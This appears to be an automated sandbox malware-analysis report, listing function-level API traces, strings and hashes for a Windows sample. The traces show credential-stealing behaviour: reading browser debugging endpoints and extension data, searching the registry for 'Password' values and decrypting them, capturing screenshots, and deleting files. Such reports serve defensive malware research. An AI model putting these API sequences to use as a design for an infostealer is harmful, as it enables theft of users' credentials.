Associated: 00000000.00000002.1967509665.00000000006AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967596878.00000000006B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000735000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000008B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1968046244.00000000008CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_qlI3ReINCV.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcatlstrlen$AllocLocal
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 4107348322-3310892237
Opcode ID: b8e5331b2e5431a973c4a9747543ae1e594ce31801079a12f7e13ffa90b0e5f3
Instruction ID: 5fabcc60f55a66f397051a5587031c8ce01804c761bdf0f1c967da583d5c3018
Opcode Fuzzy Hash: b8e5331b2e5431a973c4a9747543ae1e594ce31801079a12f7e13ffa90b0e5f3
Instruction Fuzzy Hash: 6AB15F71A112069BCF25FF79D899AAE77EAEF44300F044228F949A7715DF34EC068B94

Function 0068B309 Relevance: 30.5, APIs: 20, Instructions: 451stringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,006ACFF4), ref: 0068B330
lstrcpy.KERNEL32(00000000,00000000), ref: 0068B37E
lstrcpy.KERNEL32(00000000,00000000), ref: 0068B3A9
lstrcatA.KERNEL32(00000000,00000000), ref: 0068B3B1
lstrcpy.KERNEL32(00000000,00000000), ref: 0068B3D9
lstrlenA.KERNEL32(006B4C5C), ref: 0068B450
lstrcpy.KERNEL32(00000000,00000000), ref: 0068B474
lstrcatA.KERNEL32(00000000,006B4C5C), ref: 0068B480
lstrcpy.KERNEL32(00000000,00000000), ref: 0068B4A9
lstrlenA.KERNEL32(00000000), ref: 0068B52D
lstrcpy.KERNEL32(00000000,00000000), ref: 0068B557
lstrcatA.KERNEL32(00000000,00000000), ref: 0068B55F
lstrcpy.KERNEL32(00000000,00000000), ref: 0068B587
lstrlenA.KERNEL32(006B4AE4), ref: 0068B5FE
lstrcpy.KERNEL32(00000000,00000000), ref: 0068B622
lstrcatA.KERNEL32(00000000,006B4AE4), ref: 0068B62E
lstrcpy.KERNEL32(00000000,00000000), ref: 0068B65E
lstrlenA.KERNEL32(?), ref: 0068B767
lstrlenA.KERNEL32(?), ref: 0068B776
lstrcpy.KERNEL32(00000000,00000000), ref: 0068B79E

Memory Dump Source

Source File: 00000000.00000002.1967366172.0000000000681000.00000080.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1967279641.0000000000680000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967509665.00000000006AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967596878.00000000006B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000735000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000008B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1968046244.00000000008CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_qlI3ReINCV.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: ea6f5dfee81f1716a888b208351a9f6c386478748ba0f27c42a117b3974061b9
Instruction ID: 5d1adf31ea3d96f6899146a465c854affc97c9614adedd91d338269305278b47
Opcode Fuzzy Hash: ea6f5dfee81f1716a888b208351a9f6c386478748ba0f27c42a117b3974061b9
Instruction Fuzzy Hash: 4F026070A01602CFCB25EF69D899BAAB7F6BF44304F18926DE5099B361D735DC42CB80

Function 0069F4D8 Relevance: 30.1, APIs: 16, Strings: 1, Instructions: 391stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(012585D8), ref: 0069F4F5
lstrcpy.KERNEL32(00000000,006A0710), ref: 0069F583
lstrcpy.KERNEL32(00000000,00000000), ref: 0069F5A7
lstrcpy.KERNEL32(00000000,00000000), ref: 0069F65B
lstrcpy.KERNEL32(00000000,012585D8), ref: 0069F69B
lstrcpy.KERNEL32(00000000,0125D668), ref: 0069F6CA
lstrcpy.KERNEL32(00000000,00000000), ref: 0069F77E
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 0069F7FC
lstrcpy.KERNEL32(00000000,?), ref: 0069F82C
lstrcpy.KERNEL32(00000000,?), ref: 0069F87A
StrCmpCA.SHLWAPI(?,ERROR), ref: 0069F8F8
lstrlenA.KERNEL32(0125D678), ref: 0069F926
lstrcpy.KERNEL32(00000000,0125D678), ref: 0069F951
lstrcpy.KERNEL32(00000000,00000000), ref: 0069F973
lstrcpy.KERNEL32(00000000,?), ref: 0069F9C4
StrCmpCA.SHLWAPI(?,ERROR), ref: 0069FC12
lstrlenA.KERNEL32(0125D688), ref: 0069FC40
lstrcpy.KERNEL32(00000000,0125D688), ref: 0069FC6B
lstrcpy.KERNEL32(00000000,00000000), ref: 0069FC8D
lstrcpy.KERNEL32(00000000,?), ref: 0069FCDE

Strings

ERROR, xrefs: 0069F8F2, 0069FC0C, 0069FF30

Memory Dump Source

Source File: 00000000.00000002.1967366172.0000000000681000.00000080.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1967279641.0000000000680000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967509665.00000000006AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967596878.00000000006B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000735000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000008B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1968046244.00000000008CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_qlI3ReINCV.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen
String ID: ERROR
API String ID: 367037083-2861137601
Opcode ID: 4d86feed95aea48a64b1a8f948771763f107e5e2c576f70a473ed3b8fc7462b6
Instruction ID: e16bdfbd72655ac0553df69ed175f269806c8881e3f1ec4a59ef21d14fec55bd
Opcode Fuzzy Hash: 4d86feed95aea48a64b1a8f948771763f107e5e2c576f70a473ed3b8fc7462b6
Instruction Fuzzy Hash: 79F13A70A01202CFCF64DF69C958AA9B7FABF44314B1A82B9D809DB761D736DC42CB54

Function 006890C0 Relevance: 26.4, APIs: 12, Strings: 3, Instructions: 161networkstringfileCOMMON

Download Yara Rule

APIs

InternetOpenA.WININET(006ACFF4,00000001,00000000,00000000,00000000), ref: 006890DF
InternetOpenUrlA.WININET(00000000,http://localhost:9229/json,00000000,00000000,80000000,00000000), ref: 006890FC
InternetCloseHandle.WININET(00000000), ref: 00689109
strlen.MSVCRT ref: 00689125
InternetReadFile.WININET(?,?,?,00000000), ref: 00689166
InternetReadFile.WININET(00000000,?,00001000,?), ref: 00689197
InternetCloseHandle.WININET(00000000), ref: 006891A2
InternetCloseHandle.WININET(00000000), ref: 006891A9
strlen.MSVCRT ref: 006891BA
strlen.MSVCRT ref: 006891ED
strlen.MSVCRT ref: 0068922E

Part of subcall function 00697F70: memchr.MSVCRT ref: 00697FAF
Part of subcall function 00697F70: memcmp.MSVCRT(00000000,?,?,?,"webSocketDebuggerUrl":,00000000), ref: 00697FC9
Part of subcall function 00697F70: memchr.MSVCRT ref: 00697FE8

strlen.MSVCRT ref: 0068924C

Part of subcall function 00688980: std::_Xinvalid_argument.LIBCPMT ref: 00688996

Strings

http://localhost:9229/json, xrefs: 006890F6
"ws://, xrefs: 00689229, 00689234
"webSocketDebuggerUrl":, xrefs: 006891B5, 006891C0

Memory Dump Source

Source File: 00000000.00000002.1967366172.0000000000681000.00000080.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1967279641.0000000000680000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967509665.00000000006AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967596878.00000000006B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000735000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000008B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1968046244.00000000008CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_qlI3ReINCV.jbxd

Yara matches

Similarity

API ID: Internet$strlen$CloseHandle$FileOpenReadmemchr$Xinvalid_argumentmemcmpstd::_
String ID: "webSocketDebuggerUrl":$"ws://$http://localhost:9229/json
API String ID: 4166274400-2144369209
Opcode ID: cdc2f51f33a0a0441388c30e1efa4dcc0221682389792866bbc60d272b2243ce
Instruction ID: aa461ec2dd78af72696a30d29b3c7ca39e3c9b6581777e35ea346ba2440664e6
Opcode Fuzzy Hash: cdc2f51f33a0a0441388c30e1efa4dcc0221682389792866bbc60d272b2243ce
Instruction Fuzzy Hash: 4551C571640205ABDB20EFA8DC45BEEF7FAEF48710F144169F505A3281DFB4AA44CBA5

Function 006A3930 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 222registrystringCOMMON

Download Yara Rule

APIs

Part of subcall function 006A73F0: lstrcpy.KERNEL32(00000000,ERROR), ref: 006A740E

RegOpenKeyExA.KERNEL32(?,0125DBF8,00000000,00020019,?,00000000,00000000,00000000), ref: 006A398D
RegEnumKeyExA.KERNEL32(?,?,?,?,00000000,00000000,00000000,00000000), ref: 006A39C7
wsprintfA.USER32 ref: 006A39F2
RegOpenKeyExA.KERNEL32(?,?,00000000,00020019,?), ref: 006A3A10
RegCloseKey.ADVAPI32(?), ref: 006A3A1E
RegCloseKey.ADVAPI32(?), ref: 006A3A28
RegQueryValueExA.KERNEL32(?,01260418,00000000,000F003F,?,?), ref: 006A3A71
lstrlenA.KERNEL32(?), ref: 006A3A86
RegQueryValueExA.KERNEL32(?,012604A8,00000000,000F003F,?,00000400), ref: 006A3AF7
RegCloseKey.KERNEL32(?), ref: 006A3B42
RegCloseKey.ADVAPI32(?), ref: 006A3B59

Strings

%s\%s, xrefs: 006A39E6
- , xrefs: 006A3B01
?, xrefs: 006A396E

Memory Dump Source

Source File: 00000000.00000002.1967366172.0000000000681000.00000080.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1967279641.0000000000680000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967509665.00000000006AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967596878.00000000006B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000735000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000008B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1968046244.00000000008CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_qlI3ReINCV.jbxd

Yara matches

Similarity

API ID: Close$OpenQueryValue$Enumlstrcpylstrlenwsprintf
String ID: - $%s\%s$?
API String ID: 13140697-3278919252
Opcode ID: c7cb71e75870c0280bdee8ec8351e1504749df76983dfbab0c9871a7fc7550f2
Instruction ID: ea0d97d8cb9ad5e073a275b09086304dd9a3617ef9a8b9098bc8aed641af7d2c
Opcode Fuzzy Hash: c7cb71e75870c0280bdee8ec8351e1504749df76983dfbab0c9871a7fc7550f2
Instruction Fuzzy Hash: 71913F72900219DFCB10EF94DD849EEB7BAFB49310F158169E509A7351DB31AE46CFA0

Function 0068A010 Relevance: 23.0, APIs: 12, Strings: 1, Instructions: 251stringlibraryCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(0125D588,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,0000FFFF), ref: 0068A026
lstrcpy.KERNEL32(00000000,006ACFF4), ref: 0068A053
lstrlenA.KERNEL32(C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;), ref: 0068A060
lstrcpy.KERNEL32(00000000,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;), ref: 0068A08A
lstrlenA.KERNEL32(006B4C58), ref: 0068A095
lstrcpy.KERNEL32(00000000,00000000), ref: 0068A0B2
lstrcatA.KERNEL32(00000000,006B4C58), ref: 0068A0BE
lstrcpy.KERNEL32(00000000,00000000), ref: 0068A0E4
lstrcatA.KERNEL32(00000000,00000000), ref: 0068A0EF
lstrcpy.KERNEL32(00000000,00000000), ref: 0068A114
SetEnvironmentVariableA.KERNEL32(0125D588,00000000), ref: 0068A12F
LoadLibraryA.KERNEL32(01260A18), ref: 0068A143

Strings

C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;, xrefs: 0068A020, 0068A05B, 0068A084

Memory Dump Source

Source File: 00000000.00000002.1967366172.0000000000681000.00000080.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1967279641.0000000000680000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967509665.00000000006AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967596878.00000000006B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000735000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000008B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1968046244.00000000008CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_qlI3ReINCV.jbxd

Yara matches

Similarity

API ID: lstrcpy$EnvironmentVariablelstrcatlstrlen$LibraryLoad
String ID: C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;
API String ID: 2929475105-3463377506
Opcode ID: 0c33bf6576caf55256f8303a1a31c3b76887e69fb21dde9dae288524d0a74893
Instruction ID: dc3332be77419ef85f70bdf5dfebf3f288fad5c746b5c40564ac57f10a754749
Opcode Fuzzy Hash: 0c33bf6576caf55256f8303a1a31c3b76887e69fb21dde9dae288524d0a74893
Instruction Fuzzy Hash: 1F919E70600A019FE730BFE8DC88AA637ABFB54715F54432AE90587361EF75D940CB92

Function 006877D0 Relevance: 23.0, APIs: 12, Strings: 1, Instructions: 202stringregistrymemoryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,?), ref: 00687805
RegEnumValueA.ADVAPI32(80000001,00000000,?,?,00000000,?,?,?,?,00000000,00020019,?), ref: 0068784A
strlen.MSVCRT ref: 0068787E
StrStrA.SHLWAPI(?,Password), ref: 006878B8
strlen.MSVCRT ref: 0068794D

Part of subcall function 00687750: GetProcessHeap.KERNEL32(00000008,00000400), ref: 0068775E
Part of subcall function 00687750: HeapAlloc.KERNEL32(00000000), ref: 00687765
Part of subcall function 00687750: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 0068778D
Part of subcall function 00687750: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00000400,00000000,00000000), ref: 006877AD
Part of subcall function 00687750: LocalFree.KERNEL32(?), ref: 006877B7

strcpy_s.MSVCRT ref: 006878E1
GetProcessHeap.KERNEL32(00000000,00000000), ref: 006878EC
HeapFree.KERNEL32(00000000), ref: 006878F3
strlen.MSVCRT ref: 00687900
strcpy_s.MSVCRT ref: 0068792A
strlen.MSVCRT ref: 00687974
RegEnumValueA.ADVAPI32(80000001,00000000,?,000000FF,00000000,00000003,?,?,80000001), ref: 00687A35

Strings

Password, xrefs: 006878AC

Memory Dump Source

Source File: 00000000.00000002.1967366172.0000000000681000.00000080.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1967279641.0000000000680000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967509665.00000000006AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967596878.00000000006B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000735000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000008B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1968046244.00000000008CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_qlI3ReINCV.jbxd

Yara matches

Similarity

API ID: Heapstrlen$EnumFreeProcessValuestrcpy_s$AllocByteCharCryptDataLocalMultiOpenUnprotectWide
String ID: Password
API String ID: 3893107980-3434357891
Opcode ID: 17c21f1914175a60986d913f93e93182bebf31d15dad734b22a779df0dc5005f
Instruction ID: 27e37110b36d051c26be2ffe7ea783f831796a1d43659fa9b5d75c8dee10cbe1
Opcode Fuzzy Hash: 17c21f1914175a60986d913f93e93182bebf31d15dad734b22a779df0dc5005f
Instruction Fuzzy Hash: 06810EB1D002199FDB10DF95DC84ADEBBB9FF48300F204269E619A7251EB359A85CF94

Function 0069CA30 Relevance: 21.2, APIs: 14, Instructions: 207stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 0069CA55
lstrcpy.KERNEL32(00000000,006ACFF4), ref: 0069CA92
lstrcpy.KERNEL32(00000000,006ACFF4), ref: 0069CAC1
lstrlenA.KERNEL32(00000000), ref: 0069CAEC
lstrcpy.KERNEL32(00000000,00000000), ref: 0069CB22
StrCmpCA.SHLWAPI(00000000,006B1C84), ref: 0069CB33
strtok_s.MSVCRT ref: 0069CC77

Memory Dump Source

Source File: 00000000.00000002.1967366172.0000000000681000.00000080.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1967279641.0000000000680000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967509665.00000000006AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967596878.00000000006B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000735000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000008B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1968046244.00000000008CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_qlI3ReINCV.jbxd

Yara matches

Similarity

API ID: lstrcpy$strtok_s$lstrlen
String ID:
API String ID: 2116072422-0
Opcode ID: 0cf3333465bbb45c9eed820e56bc9fb312b68f9518cb68c160f597d6c00e2d16
Instruction ID: eab8b4f477852556ce26f78a7684c96dbb94539d1231a390d497b0d922d0ba73
Opcode Fuzzy Hash: 0cf3333465bbb45c9eed820e56bc9fb312b68f9518cb68c160f597d6c00e2d16
Instruction Fuzzy Hash: 9C6192719006169FDF10AFA58E89AEE7BFEBF09720F004169E845E7741DB349D058BA0

Function 006950C9 Relevance: 18.7, APIs: 12, Instructions: 738stringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00681530: lstrcpy.KERNEL32(00000000,?), ref: 00681557
Part of subcall function 00681530: lstrcpy.KERNEL32(00000000,?), ref: 00681579
Part of subcall function 00681530: lstrcpy.KERNEL32(00000000,?), ref: 0068159B
Part of subcall function 00681530: lstrcpy.KERNEL32(00000000,?), ref: 006815FF

lstrcpy.KERNEL32(00000000), ref: 00695103
lstrcpy.KERNEL32(00000000,?), ref: 00695129
lstrcpy.KERNEL32(00000000,?), ref: 00695152
lstrcpy.KERNEL32(00000000,?), ref: 0069517B
lstrcpy.KERNEL32(00000000,00000000), ref: 006951A4
lstrcpy.KERNEL32(00000000,00000000), ref: 006951C7
DeleteFileA.KERNEL32(00000000), ref: 006951EC
lstrcpy.KERNEL32(00000000,?), ref: 006952C4
lstrcpy.KERNEL32(00000000,00000000), ref: 006952EC
lstrcpy.KERNEL32(00000000,?), ref: 00695323

Memory Dump Source

Source File: 00000000.00000002.1967366172.0000000000681000.00000080.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1967279641.0000000000680000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967509665.00000000006AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967596878.00000000006B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000735000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000008B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1968046244.00000000008CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_qlI3ReINCV.jbxd

Yara matches

Similarity

API ID: lstrcpy$DeleteFile
String ID:
API String ID: 3632507482-0
Opcode ID: cffee7bf4c86d9772847ef65453e5768a7bab64ca2e07e59f0f852e7daafd7a8
Instruction ID: 3bb6d9eb43b2b1809b8709937b4e6dfa4d60f898a52713f31eb44ca13fd4c41d
Opcode Fuzzy Hash: cffee7bf4c86d9772847ef65453e5768a7bab64ca2e07e59f0f852e7daafd7a8
Instruction Fuzzy Hash: 80621B70A016018FDF69CF19C558B65B7EABF44314B29C1AED84ADB7A2D736DC82CB40

Function 0068BBF9 Relevance: 18.2, APIs: 12, Instructions: 249stringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,006ACFF4), ref: 0068BC1F
lstrlenA.KERNEL32(00000000), ref: 0068BC52
lstrcpy.KERNEL32(00000000,00000000), ref: 0068BC7C
lstrcatA.KERNEL32(00000000,00000000), ref: 0068BC84
lstrcpy.KERNEL32(00000000,00000000), ref: 0068BCAC
lstrlenA.KERNEL32(006B4AE4), ref: 0068BD23

Memory Dump Source

Source File: 00000000.00000002.1967366172.0000000000681000.00000080.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1967279641.0000000000680000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967509665.00000000006AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967596878.00000000006B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000735000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000008B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1968046244.00000000008CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_qlI3ReINCV.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 01d5e4d2167572c2d1622a1b36caaa46039e471cb38964ab3d265cd4508f6a95
Instruction ID: 8b666152bd44484525eb016cb33e50a6b1a59a239b9025029fbd0dbcbfeafba8
Opcode Fuzzy Hash: 01d5e4d2167572c2d1622a1b36caaa46039e471cb38964ab3d265cd4508f6a95
Instruction Fuzzy Hash: 81A18D706002069FCB64FF69D989AAEB7F6FF44304F189269E4099B361DB35DC42CB54

Function 006A43F0 Relevance: 16.7, APIs: 11, Instructions: 177COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,006A0EC0), ref: 006A4486
GetDesktopWindow.USER32 ref: 006A4490
GetWindowRect.USER32(00000000,?), ref: 006A449D
SelectObject.GDI32(00000000,00000000), ref: 006A44CF
GetHGlobalFromStream.COMBASE(006A0EC0,?), ref: 006A4546
GlobalLock.KERNEL32(?), ref: 006A4550
GlobalSize.KERNEL32(?), ref: 006A455D

Memory Dump Source

Source File: 00000000.00000002.1967366172.0000000000681000.00000080.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1967279641.0000000000680000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967509665.00000000006AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967596878.00000000006B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000735000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000008B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1968046244.00000000008CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_qlI3ReINCV.jbxd

Yara matches

Similarity

API ID: Global$StreamWindow$CreateDesktopFromLockObjectRectSelectSize
String ID:
API String ID: 1264946473-0
Opcode ID: def94b3c952a4947898e53cc7fbc5be90b5b1b505fa2c5f0b44865b9c5c25156
